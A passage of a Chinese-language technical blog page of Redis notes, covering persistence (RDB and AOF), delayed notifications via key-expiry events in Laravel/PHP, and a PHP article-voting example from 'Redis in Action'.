class="regexp"></span></span><br><span class="line"><span class="regexp">127.0.0.1:6379&gt; config get dir</span></span><br><span class="line"><span class="regexp">1) "dir"</span></span><br><span class="line"><span class="regexp">2) "/</span><span class="keyword">var</span>/lib/redis<span class="string">"</span></span><br><span class="line"><span class="string">127.0.0.1:6379&gt; config get dbfilename</span></span><br><span class="line"><span class="string">1) "</span>dbfilename<span class="string">"</span></span><br><span class="line"><span class="string">2) "</span>dump.rdb<span class="string">"</span></span><br><span class="line"><span class="string">持久化文件/varlib/redis/dump.rdb 满了 写不进去了 </span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">https://stackoverflow.com/questions/19581059/misconf-redis-is-configured-to-save-rdb-snapshots</span></span><br><span class="line"><span class="string">http://ju.outofmemory.cn/entry/197760</span></span><br></pre></td></tr></table></figure>
<h3 id="提前10分钟提醒信息"><a href="#提前10分钟提醒信息" class="headerlink" title="提前10分钟提醒信息"></a>提前10分钟提醒信息</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br></pre></td><td class="code"><pre><span class="line"><span class="number">1.</span>修改redis配置文件</span><br><span class="line"></span><br><span class="line">notify-keyspace-events <span class="string">"Ex"</span></span><br><span class="line"><span class="number">2.</span>修改datebase配置文件</span><br><span class="line"></span><br><span class="line"> <span class="string">'notify_cache'</span> =&gt; [</span><br><span class="line">            <span class="string">'host'</span> =&gt; env(<span class="string">'REDIS_HOST'</span>, <span class="string">'127.0.0.1'</span>),</span><br><span class="line">            <span class="string">'password'</span> =&gt; env(<span class="string">'REDIS_PASSWORD'</span>, <span class="literal">null</span>),</span><br><span class="line">            <span class="string">'port'</span> =&gt; env(<span class="string">'REDIS_PORT'</span>, <span class="number">6379</span>),</span><br><span class="line">            <span class="string">'database'</span> =&gt; env(<span class="string">'REDIS_DB'</span>, <span class="number">4</span>),</span><br><span class="line">            <span class="string">'read_write_timeout'</span> =&gt; <span class="number">-1</span>,  <span class="comment">// 读写超时设定</span></span><br><span class="line">        ],</span><br><span class="line"><span class="number">3.</span>创建过期key</span><br><span class="line"></span><br><span class="line">$ttl = strtotime($data[<span class="string">'return_time'</span>]) - time() - <span class="number">600</span>;</span><br><span class="line">$redis = Redis::connection(<span class="string">'notify_cache'</span>);</span><br><span class="line">$redis-&gt;set(<span class="string">'NOTIFY_CONFIRM:'</span>.$id,$id);</span><br><span class="line">$redis-&gt;expire(<span class="string">'NOTIFY_CONFIRM:'</span>.$id,$ttl);</span><br><span class="line"><span class="number">4.</span>创建监听队列</span><br><span class="line"></span><br><span class="line">$cache_db = config(<span class="string">'database.redis.notify_cache.database'</span>,<span class="number">4</span>);</span><br><span class="line">$pattern = <span class="string">'__keyevent@'</span>.$cache_db.<span class="string">'__:expired'</span>;</span><br><span class="line">Redis::connection(<span class="string">'notify_cache'</span>)-&gt;subscribe($pattern,<span class="function"><span class="keyword">function</span> (<span class="params">$channel</span>)</span>&#123;</span><br><span class="line">    <span class="comment">// 订阅键过期事件</span></span><br><span class="line">    Log::info(<span class="string">'-----notify-----'</span>.$channel);</span><br><span class="line">    $key_type = str_before($channel,<span class="string">':'</span>);</span><br><span class="line">    <span class="keyword">switch</span> ($key_type) &#123;</span><br><span class="line">        <span class="keyword">case</span> <span class="string">'NOTIFY_CONFIRM'</span>:</span><br><span class="line">            $id = str_after($channel,<span class="string">':'</span>);    <span class="comment">// 取出学员ID</span></span><br><span class="line">            $client  = Client::find($id);</span><br><span class="line">            <span class="keyword">if</span> ($client) &#123;</span><br><span class="line">                  <span class="comment">//业务逻辑</span></span><br><span class="line">                &#125;</span><br><span class="line">            &#125;</span><br><span class="line">            <span class="keyword">break</span>;</span><br><span class="line">        <span class="keyword">default</span>:</span><br><span class="line">            <span class="keyword">break</span>;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;);</span><br><span class="line"></span><br><span class="line">加入队列https:<span class="comment">//learnku.com/articles/34526</span></span><br><span class="line"><span class="keyword">const</span> LISTEN_REDIS_NAME = <span class="string">'eeop:axb:bind_log'</span>;<span class="comment">//定时解绑做判断处理</span></span><br><span class="line"><span class="keyword">const</span> AUTO_TIMEOUT = <span class="number">60</span>;<span class="comment">//自动解绑60s</span></span><br><span class="line"><span class="comment">//加入队列 有序队列</span></span><br><span class="line">$<span class="keyword">this</span>-&gt;redis::zadd(self::LISTEN_REDIS_NAME, time() + self::AUTO_TIMEOUT, $<span class="keyword">this</span>-&gt;bind_id);</span><br><span class="line"><span class="number">2.</span> 解绑服务</span><br><span class="line"></span><br><span class="line">$list = $<span class="keyword">this</span>-&gt;redis::ZRANGEBYSCORE(self::LISTEN_REDIS_NAME,<span class="number">0</span>,time());</span><br><span class="line">foreach ($list <span class="keyword">as</span> $value)&#123;</span><br><span class="line">    $<span class="keyword">this</span>-&gt;redis::zrem(self::LISTEN_REDIS_NAME, $value);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">https:<span class="comment">//www.jianshu.com/p/588891acd44c</span></span><br></pre></td></tr></table></figure>
<h3 id="Redis-持久化存储"><a href="#Redis-持久化存储" class="headerlink" title="Redis 持久化存储"></a>Redis 持久化存储</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br></pre></td><td class="code"><pre><span class="line">一种是 aof 日志追加的方式，另外一种是 rdb 数据快照的方式。</span><br><span class="line">RDB 持久化存储即是将 redis 存在内存中的数据以快照的形式保存在本地磁盘中。</span><br><span class="line"></span><br><span class="line">手动备份通过 save 命令和 bgsave 命令。save 是同步阻塞，而 bgsave 是非阻塞 (阻塞实际发生在 fork 的子进程中)。因此，在我们实际过程中大多是使用 bgsave 命令实现备份.</span><br><span class="line">自动备份</span><br><span class="line"></span><br><span class="line">a. 修改配置项 save m n 即表示在 m 秒内执行了 n 次命令则进行备份.</span><br><span class="line"></span><br><span class="line">b. 当 Redis 从服务器项主服务器发送复制请求时，主服务器则会使用 bgsave 命令生成 rbd 文件，然后传输给从服务器.</span><br><span class="line"></span><br><span class="line">c. 当执行 debug reload 命令时也会使用 save 命令生成 rdb 文件.</span><br><span class="line"></span><br><span class="line">d. 当使用 shutdown 命令关掉服务时，如果没有启用 aof 方式实现持久化则会采用 bgsave 的方式做持久化。同时 shutdown 后面可以加备份参数 [nosave|save].</span><br><span class="line"></span><br><span class="line">优势:</span><br><span class="line"></span><br><span class="line"><span class="number">1.</span> 文件实现的数据快照，全量备份，便于数据的传输。比如我们需要把 A 服务器上的备份文件传输到 B 服务器上面，直接将 rdb 文件拷贝即可.</span><br><span class="line"></span><br><span class="line"><span class="number">2.</span> 文件采用压缩的二进制文件，当重启服务时加载数据文件，比 aof 方式更快.</span><br><span class="line"></span><br><span class="line">劣势:</span><br><span class="line"></span><br><span class="line"><span class="number">1.</span>rbd 采用加密的二进制格式存储文件，由于 Redis 各个版本之间的兼容性问题也导致 rdb 由版本兼容问题导致无法再其他的 Redis 版本中使用.</span><br><span class="line"></span><br><span class="line"><span class="number">2.</span> 时效性差，容易造成数据的不完整性。因为 rdb 并不是实时备份，当某个时间段 Redis 服务出现异常，内存数据丢失，这段时间的数据是无法恢复的，因此易导致数据的丢失.</span><br><span class="line">当遇到磁盘写满情况，可以使用如下命令来切换存储磁盘</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="comment">// dirName则是新的存储目录名(该方式同样适用于aof格式)</span></span><br><span class="line"></span><br><span class="line">config set dir dirName</span><br><span class="line">AOF 持久化存储是什么</span><br><span class="line"></span><br><span class="line">录 redis 的操作日志，将 redis 执行过的命令记录下载，当我们需要数据恢复时，redis 去重新执行一次日志文件中的命令</span><br><span class="line"><span class="comment">// 将no改为yes，控制aof开启与否</span></span><br><span class="line"></span><br><span class="line">appendonly no</span><br><span class="line"></span><br><span class="line"><span class="comment">// 控制aof文件名称，存储的目录便是dir配置项</span></span><br><span class="line"></span><br><span class="line">appendfilename <span class="string">"appendonly.aof"</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// 三种备份策略(三者只需要开启以一个即可)</span></span><br><span class="line"></span><br><span class="line"># appendfsync always // 命令写入立即写入磁盘</span><br><span class="line"></span><br><span class="line">appendfsync everysec <span class="comment">// 每秒实现文件的同步，写入磁盘</span></span><br><span class="line"></span><br><span class="line"># appendfsync no // 随机进行文件的同步,同步操作则交给操作系统来负责，通常时间是最长30s</span><br><span class="line"></span><br><span class="line">优点:</span><br><span class="line"></span><br><span class="line">多种文件写入 (fsync) 策略.</span><br><span class="line"></span><br><span class="line">数据实时保存，数据完整性强。即使丢失某些数据，制定好策略最多也是一秒内的数据丢失.</span><br><span class="line"></span><br><span class="line">可读性强，由于使用的是文本协议格式来存储的数据，可有直接查看操作的命令，同时也可以手动改写命令.</span><br><span class="line"></span><br><span class="line">缺点:</span><br><span class="line"></span><br><span class="line">文件体积过大，加载速度比 rbd 慢。由于 aof 记录的是 redis 操作的日志，一些无效的，可简化的操作也会被记录下来，造成 aof 文件过大。但该方式可以通过文件重写策略进行优化.</span><br><span class="line"></span><br><span class="line">选择 AOF 还是 RDB 进行数据的持久化</span><br><span class="line"></span><br><span class="line"><span class="number">1.</span> 针对不同的情况来选择，建议使用两种方式相结合.</span><br><span class="line"></span><br><span class="line"><span class="number">2.</span> 针对数据安全性、完整性要求高的采用 aof 方式.</span><br><span class="line"></span><br><span class="line"><span class="number">3.</span> 针对不太重要的数据可以使用 rdb 方式.</span><br><span class="line"></span><br><span class="line"><span class="number">4.</span> 对于数据进行全量备份，便于数据备份的可以采用 rdb 方式.  https:<span class="comment">//learnku.com/articles/33954</span></span><br></pre></td></tr></table></figure>
<h3 id="文章投票"><a href="#文章投票" class="headerlink" title="文章投票"></a>文章投票</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br></pre></td><td class="code"><pre><span class="line">一个用户对一篇文章只能投一票</span><br><span class="line">一篇文章发布 <span class="number">7</span> 天后不能再进行投票</span><br><span class="line">文章得分计算规则：发布时间 + 得票数 X 倍数（这里的倍数计算规则为：<span class="number">86400</span>/<span class="number">200</span>=<span class="number">432</span>，<span class="number">86400</span> 为一天的秒数，<span class="number">200</span> 为一天时间对应的投票数</span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * Redis In Action</span></span><br><span class="line"><span class="comment"> * 文章投票功能</span></span><br><span class="line"><span class="comment"> * 前提条件：</span></span><br><span class="line"><span class="comment"> * 文章发表时，记录作者、发表时间、链接、标题、初始投票数</span></span><br><span class="line"><span class="comment"> * 每获得一个投票，文章获得432分（86400/200）</span></span><br><span class="line"><span class="comment"> * 数据结构：</span></span><br><span class="line"><span class="comment"> * 文章hash -- 每篇文章key的形式如：article:92617</span></span><br><span class="line"><span class="comment"> * 文章发表时间zset集合（time:），按时间排序 -- 每条记录的形式如：article:92617（member）  1332065417（score）</span></span><br><span class="line"><span class="comment"> * 文章得分zset集合(score:)，按分数排序</span></span><br><span class="line"><span class="comment"> * 用户对文章的投票set集合(vote:xxxx) -- key形式如：vote:100408，item形式如：user:233487</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="keyword">const</span> ONE_WEEK_IN_SECONDS = <span class="number">7</span> * <span class="number">86400</span>;</span><br><span class="line"><span class="keyword">const</span> VOTE_SCORE = <span class="number">432</span>;</span><br><span class="line"><span class="keyword">const</span> ARTICLES_PER_PAGE = <span class="number">25</span>;</span><br><span class="line">$redis = <span class="keyword">new</span> Redis();</span><br><span class="line">$redis-&gt;connect(<span class="string">'127.0.0.1'</span>, <span class="string">'6379'</span>) || exit(<span class="string">'连接失败！'</span>);</span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 文章投票</span></span><br><span class="line"><span class="comment"> * @param Redis $redis</span></span><br><span class="line"><span class="comment"> * @param $user</span></span><br><span class="line"><span class="comment"> * @param $article</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">articleVote</span>(<span class="params">$redis, $user, $article</span>)</span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    $cutoff = time() - ONE_WEEK_IN_SECONDS;</span><br><span class="line">    <span class="comment">//对发表时间超过一周的文章投票不生效</span></span><br><span class="line">    <span class="comment">//获取 time: 有序集合对应 member 的 score</span></span><br><span class="line">    <span class="keyword">if</span> ($redis-&gt;zScore(<span class="string">'time:'</span>, $article) &lt; $cutoff) &#123;</span><br><span class="line">        <span class="keyword">return</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    $article_id = explode(<span class="string">':'</span>, $article)[<span class="number">1</span>];</span><br><span class="line">    <span class="comment">//无序集合，添加记录，如果记录存在，返回0（说明用户已对该文章投票），反之则计算分数</span></span><br><span class="line">    <span class="keyword">if</span> ($redis-&gt;sAdd(<span class="string">'voted:'</span> . $article_id, $user)) &#123;</span><br><span class="line">        <span class="comment">// 使用事务操作</span></span><br><span class="line">        <span class="comment">/*$redis-&gt;multi()</span></span><br><span class="line"><span class="comment">            -&gt;zIncrBy('score:' , VOTE_SCORE, $article) //增加文章的分数</span></span><br><span class="line"><span class="comment">            -&gt;hIncrBy($article, 'votes', 1)  //增加文章的投票数</span></span><br><span class="line"><span class="comment">            -&gt;exec();*/</span></span><br><span class="line">        <span class="comment">//使用pipeline型的事务</span></span><br><span class="line">        <span class="comment">//一次性向服务端发送所有命令，减少客户端与服务端之间通讯往返次数</span></span><br><span class="line">        $pipe = $redis-&gt;multi(Redis::PIPELINE);</span><br><span class="line">        $pipe-&gt;zIncrBy(<span class="string">'score:'</span>, VOTE_SCORE, $article);</span><br><span class="line">        $pipe-&gt;hIncrBy($article, <span class="string">'votes'</span>, <span class="number">1</span>);</span><br><span class="line">        $pipe-&gt;exec();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 发表文章</span></span><br><span class="line"><span class="comment"> * @param Redis $redis</span></span><br><span class="line"><span class="comment"> * @param string $user example: 'user:123456'</span></span><br><span class="line"><span class="comment"> * @param $title</span></span><br><span class="line"><span class="comment"> * @param $link</span></span><br><span class="line"><span class="comment"> * @return integer</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">postArticle</span>(<span class="params">$redis, $user, $title, $link</span>)</span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    $article_id = $redis-&gt;incr(<span class="string">'article:'</span>);  <span class="comment">//自增1，不存在key则赋值1</span></span><br><span class="line">    $voted = <span class="string">'voted:'</span> . $article_id;</span><br><span class="line">    $redis-&gt;sAdd($voted, $user);  <span class="comment">//将作者设为已投票用户</span></span><br><span class="line">    $redis-&gt;expire($voted, ONE_WEEK_IN_SECONDS);  <span class="comment">//文章投票信息设置为一周后自动失效</span></span><br><span class="line">    $now = time();</span><br><span class="line">    <span class="comment">//添加文章</span></span><br><span class="line">    $article = <span class="string">'article:'</span> . $article_id;  <span class="comment">//作为文章hash的key值</span></span><br><span class="line">    $redis-&gt;hMSet($article, [  <span class="comment">//批量设置hash键值对</span></span><br><span class="line">        <span class="string">'title'</span> =&gt; $title,</span><br><span class="line">		<span class="string">'link'</span> =&gt; $link,</span><br><span class="line">		<span class="string">'poster'</span> =&gt; $user,</span><br><span class="line">		<span class="string">'time'</span> =&gt; $now,</span><br><span class="line">		<span class="string">'votes'</span> =&gt; <span class="number">1</span>,</span><br><span class="line">    ]);</span><br><span class="line">    <span class="comment">//注意zadd第二个参数为score，第三个为member</span></span><br><span class="line">    $redis-&gt;zAdd(<span class="string">'score:'</span>, $now + VOTE_SCORE, $article);  <span class="comment">//设置文章初始分数</span></span><br><span class="line">    $redis-&gt;zAdd(<span class="string">'time:'</span>,  $now, $article);  <span class="comment">//记录文章发表时间</span></span><br><span class="line">    <span class="keyword">return</span> $article_id;</span><br><span class="line">&#125;</span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 获取文章列表</span></span><br><span class="line"><span class="comment"> * @param Redis $redis</span></span><br><span class="line"><span class="comment"> * @param $page</span></span><br><span class="line"><span class="comment"> * @param string $order  用来排序的有序集合</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">getArticles</span>(<span class="params">$redis, $page, $order = <span class="string">'score:'</span></span>)</span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    $start = ($page - <span class="number">1</span>) * ARTICLES_PER_PAGE;</span><br><span class="line">	$end = $start + ARTICLES_PER_PAGE - <span class="number">1</span>;</span><br><span class="line">    <span class="comment">//获取指定范围内的member值（文章ID，article:123456），按$order分数递减排序</span></span><br><span class="line">    $ids = $redis-&gt;zRevRange($order, $start, $end);</span><br><span class="line">    $pipe = $redis-&gt;multi(Redis::PIPELINE);</span><br><span class="line">    foreach ($ids <span class="keyword">as</span> $id) &#123;</span><br><span class="line">        $pipe-&gt;hGetAll($id);</span><br><span class="line">        <span class="comment">//不使用pipeline的时候</span></span><br><span class="line">        <span class="comment">/*$article_data = $redis-&gt;hGetAll($id);</span></span><br><span class="line"><span class="comment">        $article_data['id'] = $id;</span></span><br><span class="line"><span class="comment">        $articles[] = $article_data;*/</span></span><br><span class="line">    &#125;</span><br><span class="line">    $articles = $pipe-&gt;exec();</span><br><span class="line">    <span class="comment">//把文章ID加回去</span></span><br><span class="line">    foreach ($articles <span class="keyword">as</span> $k =&gt; $article) &#123;</span><br><span class="line">        $articles[$k][<span class="string">'id'</span>] = $ids[$k];</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> $articles;</span><br><span class="line">&#125;</span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 添加/移除文章分类</span></span><br><span class="line"><span class="comment"> * @param Redis $redis</span></span><br><span class="line"><span class="comment"> * @param $article_id</span></span><br><span class="line"><span class="comment"> * @param array $to_add</span></span><br><span class="line"><span class="comment"> * @param array $to_remove</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">addRemoveGroups</span>(<span class="params">$redis, $article_id, $to_add = [], $to_remove = []</span>)</span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    $article = <span class="string">'article:'</span> . $article_id;</span><br><span class="line">    foreach ($to_add <span class="keyword">as</span> $group) &#123;</span><br><span class="line">        $redis-&gt;sAdd(<span class="string">'group:'</span> . $group, $article);</span><br><span class="line">    &#125;</span><br><span class="line">    foreach ($to_remove <span class="keyword">as</span> $group) &#123;</span><br><span class="line">        $redis-&gt;sRem(<span class="string">'group:'</span> . $group, $article);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 获取分组下的文章数据</span></span><br><span class="line"><span class="comment"> * @param Redis $redis</span></span><br><span class="line"><span class="comment"> * @param $group</span></span><br><span class="line"><span class="comment"> * @param $page</span></span><br><span class="line"><span class="comment"> * @param string $order</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">getGroupArticles</span>(<span class="params">$redis, $group, $page, $order = <span class="string">'score:'</span></span>)</span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    $key = $order . $group;</span><br><span class="line">    <span class="keyword">if</span> (!$redis-&gt;exists($key)) &#123;</span><br><span class="line">        <span class="comment">//获得对应分组下，文章-分数的有序集合</span></span><br><span class="line">        $redis-&gt;zInterStore($key, [<span class="string">'group:'</span> . $group, $order], [<span class="number">1</span>, <span class="number">1</span>], <span class="string">'max'</span>);</span><br><span class="line">        $redis-&gt;expire($key, <span class="number">60</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> getArticles($redis, $page, $key);</span><br><span class="line">&#125;</span><br><span class="line"><span class="comment">//发布若干文章</span></span><br><span class="line">postArticle($redis, <span class="string">'user:1'</span>, <span class="string">'测试文章1'</span>, <span class="string">'article-link-1'</span>);</span><br><span class="line">postArticle($redis, <span class="string">'user:2'</span>, <span class="string">'测试文章2'</span>, <span class="string">'article-link-2'</span>);</span><br><span class="line">postArticle($redis, <span class="string">'user:3'</span>, <span class="string">'测试文章3'</span>, <span class="string">'article-link-3'</span>);</span><br><span class="line"><span class="comment">//用户10对文章1进行投票</span></span><br><span class="line">articleVote($redis, <span class="string">'user:10'</span>, <span class="string">'article:1'</span>);</span><br><span class="line">echo <span class="string">"article:1 的投票用户:"</span> . PHP_EOL;</span><br><span class="line">$result = $redis-&gt;sMembers(<span class="string">'voted:1'</span>);</span><br><span class="line">print_r($result);</span><br><span class="line">echo <span class="string">"各文章得分:"</span> . PHP_EOL;</span><br><span class="line">$scores = $redis-&gt;zRange(<span class="string">'score:'</span>, <span class="number">0</span>, <span class="number">-1</span>, <span class="string">'withscores'</span>);</span><br><span class="line">print_r($scores);</span><br><span class="line">echo <span class="string">"文章列表:"</span> . PHP_EOL;</span><br><span class="line">$articles = getArticles($redis, <span class="number">1</span>);</span><br><span class="line">print_r($articles);</span><br><span class="line">exit();</span><br><span class="line"><span class="comment">//给文章添加分类</span></span><br><span class="line">addRemoveGroups($redis, <span class="string">'1'</span>, [<span class="string">'php'</span>, <span class="string">'redis'</span>]);</span><br><span class="line">addRemoveGroups($redis, <span class="string">'2'</span>, [<span class="string">'python'</span>, <span class="string">'redis'</span>]);</span><br><span class="line"><span class="comment">//获取‘redis’分组下的文章</span></span><br><span class="line">$redisGroupArticles = getGroupArticles($redis, <span class="string">'redis'</span>, <span class="number">1</span>);</span><br><span class="line">echo <span class="string">"redis分类的文章列表:"</span> . PHP_EOL;</span><br><span class="line">print_r($redisGroupArticles);</span><br><span class="line">https:<span class="comment">//github.com/HubQin/redis-in-action-php/blob/master/article_voting.php</span></span><br><span class="line">https:<span class="comment">//learnku.com/articles/29511</span></span><br></pre></td></tr></table></figure>
<h3 id="缓存穿透"><a href="#缓存穿透" class="headerlink" title="缓存穿透"></a>缓存穿透</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br></pre></td><td class="code"><pre><span class="line">缓存穿透 ： DB 